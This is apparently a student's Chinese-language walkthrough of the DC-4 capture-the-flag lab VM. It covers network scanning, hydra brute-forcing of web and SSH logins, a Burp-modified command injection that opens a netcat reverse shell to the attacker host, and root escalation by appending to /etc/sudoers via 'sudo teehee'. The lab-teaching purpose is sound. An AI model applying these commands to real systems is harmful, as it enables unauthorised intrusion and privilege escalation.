DC4

软件综合训练-续


开始之前需要先下载DC4虚拟机映像,请点击:DC4下载

下载后直接导入即可,别忘记将网络设置为NAT。接下来我们开始吧!

启动kali和DC4,已知我的kali的ip地址为192.168.73.134

如果不知道请先通过ifconfig查看ip地址,为了便于执行命令,首先直接ssh到kali。

1.png

1. 扫描局域网上的在线主机

1
nmap -sn 192.168.73.0/24

2.png

同样的,ip为.1、.2、.254的为vmware私有,由于本机为.134,则所要攻击主机为192.168.73.133

2. 对目的主机进行详细扫描:

1
nmap -p- -A 192.168.73.133

3.png

可以由扫描结果看出,该主机开放了22和80端口,他很可能是个web服务器,让我们通过目的主机的ip地址访问一下它的80端口看看是什么样子!

4.png

3. 爆破登陆密码

发现竟然是个登陆页面,让我们通过hydra爆破一下,字典用/usr/share/wordlists/rockyou,由于rockyou没有解压,我们先cd到该目录将其解压

1
2
cd /usr/share/wordlists/
gzip -d 压缩文件名

之后进行密码爆破:

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.73.133 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

ip地址为目的主机

5.png

爆破成功,我们得到了login: admin password: happy

接下来用账户密码登陆一下试试吧。

6.png

发现有两个选项,一个Command,另一个为退出登陆,点击Command试试吧!

7.png

点击Run,会发现相当于对目的主机发送了ls -l的命令,如下图所示:

8.png

这就给了我们渗透进入目的主机的机会!我们可以抓取点击Run后发给目的主机的包,修改这个命令,从而渗透入目的主机,让我们开始愉快的抓包吧!

4. 抓包、改包、发包

既然要抓包,就要用到kali内置的Burp Suite了,打开之后显示如下:

9.png

首先设置一下Burp和火狐浏览器的代理设置:

  • Burp: Proxy->Options->点击默认的代理规则->Edit->Request handing->勾选Support invisible proxying(enable only if needed)

    (Burp的抓包默认是开启的)

  • 火狐浏览器代理设置:

    10.png

    点击Preferences

    下拉滚动条找到Network Proxy,点击Settings,如下填写:

    11.png

    点击OK,完成浏览器的代理设置。

    让我们捋一下我们的渗透过程,通过点击Run,发送包至127.0.0.1:8080,也就是本地的8080端口,由Burp截获包,修改包中的命令字段,通过Burp将包发送到目的主机。由于我们的目的是渗透入目的主机,即反向shell,因此我们首先需要用Netcat设置一个Netcat侦听器。

    关于反向shell工作原理如下:

    12.jpg

    在此示例中,目标使用端口4444反向连接攻击主机(即我们的kali),-e选项将bash shell发回攻击主机。所以我们只要想办法在目标主机上执行nc 192.168.73.134 -e /bin/sh就可以了,现在想想,是不是只要将之前发送的包中的命令字段从ls -l变成这个就可以了呢,嘿嘿嘿,既然明白了原理,just do it!

    首先在我们的kali上执行:

    1
    nc -lvp 4444

    接下来打开之前的火狐浏览器,点击Run,开始抓包。

    打开Burp,你会发现已经抓包成功了。

    13.png

将radio字段改成nc+-nv+192.168.73.134+4444+-e+/bin/bash

ip地址为kali的ip地址。

之后点击Intercept is on,即发包,将包原路发出去。可以看到按钮变为Intercept is off

看看我们的shell是不是变成了下面的样子:

14.png

之后在shell中输入:

1
python -c 'import pty; pty.spawn("/bin/bash")'

是不是成功返回了目的主机的bash shell。

5. 获取密码

去到/home目录下,会看到有三个用户:charles jim sam

15.png

浏览一下这几个用户目录,发现在/home/jim/backups下有一个密码字典:old-passwords.bak,既然有密码字典,我们又可以进行密码爆破啦!

再开一个ssh连接我们的Kali,将三个用户名保存为一个users.txt,将这个密码字典的内容复制下来保存为一个passwd.txt,这两个txt文件都是要保存在kali上的哦。

16.png

17.png

下面在新开的ssh上输入以下命令进行密码爆破:

1
hydra -L users.txt -P passwd.txt 192.168.73.133 ssh

ip为目的主机ip地址。

密码爆破结果:

18.png

通过爆破得到 login: jim password: jibril04

让我们回到渗透那个ssh上,继续下面的工作。

6. 切换到jim用户

因为我们已经知道了jim的密码,所以让我们切换到jim用户浏览一下吧!

1
su jim

会提示输入密码,输入之后便以jim用户权限访问目的主机。

在其用户目录下发现有一个mbox,cat一下:

1
cat mbox

19.png

发现其在发邮件,于是我们到/var/mail目录下查看jim的邮件:

打开cat一下

20.png

发现是charles给jim发送的邮件,并向他告诉了密码:^xHhA&hvim0y

有了charles的密码,接下来让我们切换到他的用户权限下看一看。

7. 切换到charles用户

1
su charles

看一下charles的用户权限:

1
sudo -l

21.png

发现/usr/bin/teehee 可以使用sudo

看一下teehee的帮助内容

1
/usr/bin/teehee --h

22.png

我也没看出什么名堂来,应该是可以写文件之类的…

接下来这一步我没有搞懂,看懂的小伙伴私信我一下哦,

1
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

最后cat一下/root/目录下的flag.txt就可以了

1
sudo cat /root/flag.txt

23.png

这样子就完成了!

XSS结合Beef的社会工程学窃取密码实验 攻防夺旗DC1
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×